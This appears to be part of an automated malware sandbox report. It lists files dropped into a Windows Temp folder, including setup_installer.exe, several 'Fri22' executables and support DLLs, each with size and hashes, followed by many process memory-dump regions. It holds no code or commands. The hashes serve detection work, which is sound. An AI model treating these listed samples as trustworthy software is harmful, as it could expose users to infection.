7cba62ff083db883cd172f6104b149bf3cf0b8836407d88093efff8d7bd4bc21ea4f3c951448f1c57b9eb33ca849a86731a2ac4d9c81793456e7ed009e20e402

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\Fri225e887fa84d58e.exe

Filesize
1.4MB

MD5
b7f786e9b13e11ca4f861db44e9fdc68

SHA1
bcc51246a662c22a7379be4d8388c2b08c3a3248

SHA256
f8987faadabfe4fd9c473ac277a33b28030a7c2a3ea20effc8b27ae8df32ddf6

SHA512
53185e79e9027e87d521aef18488b57b900d3415ee132c3c058ed49c5918dd53a6259463c976928e463ccc1e058d1c9c07e86367538c6bed612ede00c6c0f1a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\Fri226cff092ae.exe

Filesize
63KB

MD5
12d6a45f9f0ddf5f1e845bd92b110919

SHA1
a64a74b0d1db688243b3611c1b67f745302fb48f

SHA256
227aa800fff446be23d9a85bf00653c10459d4a238018e3d3e1e17d29181898f

SHA512
7dadf017e06893ddcb46f71ef4455b3eb32409c6685b43cd83c1f5b44344b91d0d492f1a08a69f5b0284d552585280fd28727cd2c9e11fcd02d46b6738ed4bcc

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\Fri2271b04a0f.exe

Filesize
89KB

MD5
7b3895d03448f659e2934a8f9b0a52ae

SHA1
084dc9cd061c5fb90bfc17a935d9b6ca8947a33c

SHA256
898149d20045702c1bf0c4e552a907c763912d4e5d9cf5b348e1aae80928b097

SHA512
dcc1a140f364d7428fcf3ca85613a911524eb7872ef9076c89a8252fa16cefcdd3fe6d355c857585f8cea8f3e00a43f7ea088c296ecdb3012179db148cc6b25d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\Fri227d78279da52a1.exe

Filesize
443KB

MD5
09aafd22d1ba00e6592f5c7ea87d403c

SHA1
b4208466b9391b587533fe7973400f6be66422f3

SHA256
da137a976b0690462ffbe4d94bf04f4e9d972b62d3672bc3b6e69efb9dc004d4

SHA512
455189206c764b73f1753f8221a01c6a1f25d530dd5629f503cec1d519a1117666ecf593ba0896e7b72c74681857ce3a5245e35c799be81012532157d0ac74fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\Fri2299c3f912d.exe

Filesize
1.4MB

MD5
449cb511789e9e861193d8c2107d1020

SHA1
e891b447c93c87d227ffcde5ce6a82b3a423dad7

SHA256
46bc001c7806541de50090261435c6e3684b36187b3be11ddb0a4b9e0e381a27

SHA512
d85d6ca69db7cf431ec5076cc7d0f5e75c14d70efb665cc0b3ab913d0e50deeda9e8192e1d32ed7fda9a2285ee4d8fdbe0afd14fba130a49da0895f65ee6f488

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\Fri22bbc66c2a1d88ca.exe

Filesize
484KB

MD5
fa0bea4d75bf6ff9163c00c666b55e16

SHA1
eabec72ca0d9ed68983b841b0d08e13f1829d6b5

SHA256
0e21c5b0e337ba65979621f2e1150df1c62e0796ffad5fe8377c95a1abf135af

SHA512
9d9a20024908110e1364d6d1faf9b116adbad484636131f985310be182c13bb21521a73ee083005198e5e383120717562408f86a798951b48f50405d07a9d1a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\Fri22e6b0f88ca7.exe

Filesize
265KB

MD5
70e1ad8526c24df457fb6f785bc21ba8

SHA1
d35f68ac858254397aa4d4c8465e6a8b453dae41

SHA256
303056a2270165037989f7662567ad33cae91e3068345212dbdd785b8bb57914

SHA512
2d44a803d12a47111a041a2262911f5d93fec6df7aac2dc2b45b0f8d40131a98e56e0570ab830f153d7b46df74004363241deebcb2335c9063d7661e212dea03

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\libcurl.dll

Filesize
218KB

MD5
d09be1f47fd6b827c81a4812b4f7296f

SHA1
028ae3596c0790e6d7f9f2f3c8e9591527d267f7

SHA256
0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e

SHA512
857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\libcurlpp.dll

Filesize
54KB

MD5
e6e578373c2e416289a8da55f1dc5e8e

SHA1
b601a229b66ec3d19c2369b36216c6f6eb1c063e

SHA256
43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f

SHA512
9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\libgcc_s_dw2-1.dll

Filesize
113KB

MD5
9aec524b616618b0d3d00b27b6f51da1

SHA1
64264300801a353db324d11738ffed876550e1d3

SHA256
59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e

SHA512
0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\libstdc++-6.dll

Filesize
647KB

MD5
5e279950775baae5fea04d2cc4526bcc

SHA1
8aef1e10031c3629512c43dd8b0b5d9060878453

SHA256
97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87

SHA512
666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\libwinpthread-1.dll

Filesize
69KB

MD5
1e0d62c34ff2e649ebc5c372065732ee

SHA1
fcfaa36ba456159b26140a43e80fbd7e9d9af2de

SHA256
509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723

SHA512
3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS06B62067\setup_install.exe

Filesize
2.1MB

MD5
2fc9b100b363d83d40ffe32a3eb9ca0c

SHA1
d34703069d535310d34cfa4588e561af24c87c6d

SHA256
c27c9ea99620add37dce240f04ca37b8b9702cab53ed9c04e8bdd4db0102ea0f

SHA512
2f6cc63cd63f94826d99ba3428473d4ad749b1e58ad5d6f3eb059c3a13cadcaa0ccee86c7403c06eea98e728c35ca9a3c7bcec8d252e94bb719d3596884788a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\FUEj5.QM

Filesize
1.2MB

MD5
b635e91e65b8f10796eaacd4d81546db

SHA1
260d173ab64accf4949dea116b4a7201938f64ac

SHA256
f251910ac2a9169e02f333e75f6c36e22b3f9cb03c4ccf48ba5d864046ce1580

SHA512
04d76adf8038d7337ccc1289980fc2e586cff61c17358508dc3c0dbdc95ddec24edc3ea329cdea1d9024fae628a4722c4b42d3a2b7319dbb625de02c6b24572d

Download Submit
C:\Users\Admin\AppData\Local\Temp\YlrXm6o.Qz

Filesize
498KB

MD5
d6aedc1a273d5ef177c98b54e50c4267

SHA1
73d3470851f92d6707113c899b60638123f16658

SHA256
dd969062741750bbf11521a55b502684dbc014d18248101fca62e02e4316c28f

SHA512
66d88585061caf419626d1d14ac86377f1a55bc087e49aeae0c22addb337656b9b7f6b7aa3fbe02d88d21da44aaf53c78e2d4c6ec1df3a5aae96b7add3477c75

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dsh0gel3.ak4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\e588f3b.exe

Filesize
9KB

MD5
99c8a5f7c87b4ec0ac66592a85e129f5

SHA1
3699ef050962cfa6e3d6440a941396c9f022ea52

SHA256
899c95d880933fc5a12f409c8e7821148ef0f9b4a28c226cb9cc6f44caacdbad

SHA512
a3af8e0340d85cc0d83ed0824c98ff1de2aba7d73299ce47ab136df40c44ed34acd5e06d80d22a61b2963bd6c5586d80d446b205aa1e9ddad27b3ba4396b1b18

Download Submit
C:\Users\Admin\AppData\Local\Temp\eZZS.MDf

Filesize
20KB

MD5
c46b8fe99ab0f1c42eaa760c5a377e89

SHA1
08520470250526bf45ad69fc19229d192a0f8a2e

SHA256
8e9c962e3ac853d70a35a9045470be907058df734d169c6f09766096de236aac

SHA512
fa869c01eb1161b049a34dc145c4fc65b22fbf67a9aeacb5f13920e4ed6773190677b8d21b286fdaeabedcfd7390fb1dc418dcb4dfcdb3c164dd670602c63197

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-5H4RV.tmp\idp.dll

Filesize
216KB

MD5
8f995688085bced38ba7795f60a5e1d3

SHA1
5b1ad67a149c05c50d6e388527af5c8a0af4343a

SHA256
203d7b61eac96de865ab3b586160e72c78d93ab5532b13d50ef27174126fd006

SHA512
043d41947ab69fc9297dcb5ad238acc2c35250d1172869945ed1a56894c10f93855f0210cbca41ceee9efb55fd56a35a4ec03c77e252409edc64bfb5fb821c35

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-LSIVT.tmp\Fri22bbc66c2a1d88ca.tmp

Filesize
791KB

MD5
f39995ceebd91e4fb697750746044ac7

SHA1
97613ba4b157ed55742e1e03d4c5a9594031cd52

SHA256
435fd442eec14e281e47018d4f9e4bbc438ef8179a54e1a838994409b0fe9970

SHA512
1bdb43840e274cf443bf1fabd65ff151b6f5c73621cd56f9626360929e7ef4a24a057bce032ac38940eda7c7dca42518a8cb61a7a62cc4b63b26e187a539b4a0

Download Submit
C:\Users\Admin\AppData\Local\Temp\jNyesn.Co

Filesize
272KB

MD5
9d8e799afa0154a3810fbb9d6b7347b8

SHA1
fc2f14fa5e3e88425de45448105bfa7f388f84bf

SHA256
aac5ad388c316408b26689b11e7b2e82abcd15cf8fca306d99abac98c8758949

SHA512
26f82b043528a838233ebe985c85910530aa19fe7c3420838e1e3e5ad874ae187060b0c6b5239bc04d46dae8f689da430d26e1c12aeebe282c52b625158e6524

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe

Filesize
4.2MB

MD5
9f43bed8b556e336e31fffd998ee3c96

SHA1
4d7f5c2f94ee2decbffabacf215c96f67b35082c

SHA256
39d8e994e92ec6911df5b675ae73f86acb6a27272b40b6caa2f13f3ffc7c10a5

SHA512
e28c7bf18f7c9c5ead776afa2eedc4f42717bd53f0b63655543a8f2c85fee8f9972f009b7d5583035267b3b017f0bc139ab8850e8fe3251e989f78facafe62d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\uts09Z.aiZ

Filesize
102KB

MD5
6c0b054306eb927a9b1e0033173f5790

SHA1
66df535f466617f793a9e060f5a46666bb9c6392

SHA256
41116baaa2e68b5c4f6edb633a71a1ad0b2b3c93b734c8042e81ca555871f5fc

SHA512
a1e1c8f0a03b49de6aee73471c2e2547c42a3fc9c619436125c5c51bb6cfaced2866fc1aacc9094cc752be01fffcbdb74c15e225e9fcf2b77ad30481ea21bedb

Download Submit
C:\Users\Admin\AppData\Local\Temp\yW7bB.DeE

Filesize
2B

MD5
ac6ad5d9b99757c3a878f2d275ace198

SHA1
439baa1b33514fb81632aaf44d16a9378c5664fc

SHA256
9b8db510ef42b8ed54a3712636fda55a4f8cfcd5493e20b74ab00cd4f3979f2d

SHA512
bfcdcb26b6f0c288838da7b0d338c2af63798a2ece9dcd6bc07b7cadf44477e3d5cfbba5b72446c61a1ecf74a0bccc62894ea87a40730cd1d4c2a3e15a7bb55b

Download Submit
memory/224-173-0x0000000000400000-0x000000000044F000-memory.dmp

Filesize
316KB

Download
memory/1484-114-0x0000000004A60000-0x0000000004AD6000-memory.dmp

Filesize
472KB

Download
memory/1484-126-0x00000000049E0000-0x00000000049FE000-memory.dmp

Filesize
120KB

Download
memory/1484-112-0x00000000001C0000-0x0000000000236000-memory.dmp

Filesize
472KB

Download
memory/1484-127-0x0000000005190000-0x0000000005734000-memory.dmp

Filesize
5.6MB

Download
memory/2916-178-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/3016-147-0x0000000000400000-0x000000000051C000-memory.dmp

Filesize
1.1MB

Download
memory/3016-151-0x000000006EB40000-0x000000006EB63000-memory.dmp

Filesize
140KB

Download
memory/3016-72-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3016-71-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/3016-70-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/3016-69-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/3016-68-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/3016-67-0x0000000064941000-0x000000006494F000-memory.dmp

Filesize
56KB

Download
memory/3016-66-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/3016-156-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/3016-78-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/3016-154-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3016-76-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3016-63-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/3016-77-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/3016-75-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3016-155-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/3016-74-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3016-153-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/3016-73-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3232-131-0x0000000000400000-0x00000000004D5000-memory.dmp

Filesize
852KB

Download
memory/3760-102-0x0000000000C00000-0x0000000000C08000-memory.dmp

Filesize
32KB

Download
memory/3984-313-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/3984-243-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/3984-274-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/3988-315-0x0000000000400000-0x000000000053B000-memory.dmp

Filesize
1.2MB

Download
memory/3988-317-0x0000000002BC0000-0x0000000002C52000-memory.dmp

Filesize
584KB

Download
memory/3988-318-0x0000000003140000-0x0000000004835000-memory.dmp

Filesize
23.0MB

Download
memory/3988-319-0x0000000004840000-0x00000000048CB000-memory.dmp

Filesize
556KB

Download
memory/3988-320-0x00000000048D0000-0x0000000004956000-memory.dmp

Filesize
536KB

Download
memory/3988-323-0x00000000048D0000-0x0000000004956000-memory.dmp

Filesize
536KB

Download
memory/3988-324-0x00000000008B0000-0x00000000008B1000-memory.dmp

Filesize
4KB

Download
memory/3988-280-0x0000000002BC0000-0x0000000002C52000-memory.dmp

Filesize
584KB

Download
memory/3988-327-0x00000000008C0000-0x00000000008C5000-memory.dmp

Filesize
20KB

Download
memory/3988-277-0x0000000002BC0000-0x0000000002C52000-memory.dmp

Filesize
584KB

Download
memory/3988-276-0x0000000003090000-0x0000000003135000-memory.dmp

Filesize
660KB

Download
memory/3988-326-0x00000000008B0000-0x00000000008B3000-memory.dmp

Filesize
12KB

Download
memory/4088-133-0x0000000000400000-0x000000000042C000-memory.dmp

Filesize
176KB

Download
memory/4088-97-0x0000000000400000-0x000000000042C000-memory.dmp

Filesize
176KB

Download
memory/4380-191-0x00000000078D0000-0x0000000007973000-memory.dmp

Filesize
652KB

Download
memory/4380-202-0x0000000008280000-0x00000000088FA000-memory.dmp

Filesize
6.5MB

Download
memory/4380-167-0x0000000006910000-0x000000000692E000-memory.dmp

Filesize
120KB

Download
memory/4380-168-0x0000000006BF0000-0x0000000006C3C000-memory.dmp

Filesize
304KB

Download
memory/4380-190-0x0000000006EA0000-0x0000000006EBE000-memory.dmp

Filesize
120KB

Download
memory/4380-203-0x0000000007C30000-0x0000000007C4A000-memory.dmp

Filesize
104KB

Download
memory/4380-180-0x000000006DD00000-0x000000006DD4C000-memory.dmp

Filesize
304KB

Download
memory/4380-179-0x0000000006ED0000-0x0000000006F02000-memory.dmp

Filesize
200KB

Download
memory/4380-204-0x0000000007CB0000-0x0000000007CBA000-memory.dmp

Filesize
40KB

Download
memory/4380-205-0x0000000007EA0000-0x0000000007F36000-memory.dmp

Filesize
600KB

Download
memory/4380-214-0x0000000007E30000-0x0000000007E41000-memory.dmp

Filesize
68KB

Download
memory/4380-220-0x0000000007F50000-0x0000000007F58000-memory.dmp

Filesize
32KB

Download
memory/4380-219-0x0000000007F60000-0x0000000007F7A000-memory.dmp

Filesize
104KB

Download
memory/4380-218-0x0000000007E70000-0x0000000007E84000-memory.dmp

Filesize
80KB

Download
memory/4380-117-0x00000000059A0000-0x0000000005FC8000-memory.dmp

Filesize
6.2MB

Download
memory/4380-136-0x0000000006250000-0x00000000062B6000-memory.dmp

Filesize
408KB

Download
memory/4380-217-0x0000000007E60000-0x0000000007E6E000-memory.dmp

Filesize
56KB

Download
memory/4380-111-0x0000000005330000-0x0000000005366000-memory.dmp

Filesize
216KB

Download
memory/4380-135-0x00000000061E0000-0x0000000006246000-memory.dmp

Filesize
408KB

Download
memory/4380-134-0x0000000006140000-0x0000000006162000-memory.dmp

Filesize
136KB

Download
memory/4380-137-0x00000000062C0000-0x0000000006614000-memory.dmp

Filesize
3.3MB

Download
memory/4396-261-0x0000000000400000-0x000000000053B000-memory.dmp

Filesize
1.2MB

Download
memory/4396-270-0x00000000049C0000-0x0000000004A46000-memory.dmp

Filesize
536KB

Download
memory/4396-233-0x0000000003180000-0x0000000003212000-memory.dmp

Filesize
584KB

Download
memory/4396-268-0x0000000003220000-0x0000000004915000-memory.dmp

Filesize
23.0MB

Download
memory/4396-269-0x0000000004920000-0x00000000049AB000-memory.dmp

Filesize
556KB

Download
memory/4396-267-0x0000000003180000-0x0000000003212000-memory.dmp

Filesize
584KB

Download
memory/4396-230-0x0000000003180000-0x0000000003212000-memory.dmp

Filesize
584KB

Download
memory/4396-229-0x00000000030D0000-0x0000000003175000-memory.dmp

Filesize
660KB

Download
memory/4540-103-0x0000000000D30000-0x0000000000D48000-memory.dmp

Filesize
96KB

Download
memory/4540-107-0x0000000002CA0000-0x0000000002CA6000-memory.dmp

Filesize
24KB

Download
memory/4880-165-0x0000000002620000-0x0000000002644000-memory.dmp

Filesize
144KB

Download
memory/4880-244-0x0000000000400000-0x00000000004C6000-memory.dmp

Filesize
792KB

Download
memory/4880-172-0x0000000005240000-0x000000000527C000-memory.dmp

Filesize
240KB

Download
memory/4880-171-0x0000000004B40000-0x0000000004C4A000-memory.dmp

Filesize
1.0MB

Download
memory/4880-170-0x0000000004B20000-0x0000000004B32000-memory.dmp

Filesize
72KB

Download
memory/4880-169-0x0000000005860000-0x0000000005E78000-memory.dmp

Filesize
6.1MB

Download
memory/4880-162-0x00000000023A0000-0x00000000023C6000-memory.dmp

Filesize
152KB

Download
memory/5940-402-0x0000000000810000-0x0000000000818000-memory.dmp

Filesize
32KB

Download